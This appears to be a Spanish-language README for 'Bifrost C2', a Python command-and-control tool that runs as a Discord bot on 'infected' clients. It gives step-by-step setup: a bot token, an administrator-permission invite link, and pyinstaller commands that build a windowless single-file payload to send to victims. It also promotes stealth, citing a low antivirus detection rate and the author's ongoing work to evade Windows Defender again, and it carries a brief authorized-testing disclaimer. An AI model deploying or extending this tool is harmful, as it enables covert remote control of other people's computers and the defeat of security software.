
Bifrost C2. Post-explotación de código abierto usando la API de Discord.
Desarrollado con Python, este C2 tiene múltiples funciones para post-explotación.
Como se mencionó anteriormente, Bifrost es básicamente un bot de Discord que recibe comandos del usuario de Discord y realiza una tarea predefinida.
Entonces, para cada cliente que vayas a "infectar", enviarás una copia de este bot de Discord, y te responderá usando Discord. Esto te permite esconderte detrás del servicio de Discord siendo sigiloso y tener una conexión segura entre tú y tu cliente.
Descargo de responsabilidad: Este proyecto debe usarse solo para pruebas autorizadas o fines educativos.
Bifrost es actualmente detectado por Windows Defender, ya estoy tratando de resolver este "problema" y volver a evadirlo.
La detección de Virustotal fue 5/67 cuando no había defensa contra la ejecución en sandbox.
Los antivirus que detectaron a Bifrost como malicioso fueron SecureAge APEX, Jiangmin, Cynet, Zillya y Palo Alto Networks
Bifrost es un proyecto abierto, así que si deseas agregar alguna funcionalidad, mejorar características o el rendimiento del código en Bifrost, la mejor manera de incorporarlo al proyecto principal es crear un fork y abrir un pull request.
1 - Clona o descarga el código fuente de Bifrost;
2 - Instala las dependencias de las librerías;
pip install -r requirements.txt
3 - Ten una cuenta de Discord;
4 - Crea una aplicación (Bot) en Discord;
5 - Ve a la pestaña de Información general y copia tu ID de Aplicación;
6 - Ve a la pestaña Bot, crea el Bot y copia su token
7 - Invita a tu bot a tu servidor de Discord completando el siguiente enlace con tu ID de aplicación;
https://discord.com/oauth2/authorize?client_id=<APP_ID>&scope=bot&permissions=8
8 - Ahora crea un canal en tu servidor de Discord y copia su ID;
Obs.: Activa la función de desarrollador en tu aplicación de Discord para copiar el ID del canal fácilmente.
Ahora con esos 2 datos (ID del canal y Token del Bot), cambia los valores de las variables en las líneas 22 y 23 del archivo bifrost.py por los valores de tu cuenta/canal.
Después de crear tu bot, canal y cambiar los valores de las variables, sigue los pasos a continuación para desplegar el payload a tu cliente
Crea un archivo ejecutable de bifrost usando pyinstaller, o envía bifrost.py al cliente e instala todas las dependencias.
Usando el archivo ejecutable, el cliente no necesita tener Python ni ninguna dependencia preinstalada.
pyinstaller bifrost.py --onefile --noconsole --key th3r4ven_bifrost o
python -m pyinstaller bifrost.py --onefile --noconsole --key th3r4ven_bifrost
OBS.: Todos estos parámetros son opcionales, lee la documentación de pyinstaller para más información sobre cómo usarlos.
Puedes enviar bifrost.py e instalar las dependencias, o crear un script/ejecutable para automatizar este proceso, similar a la instalación en Windows
La transmisión en vivo de pantalla no es posible a través de la API de Discord :(
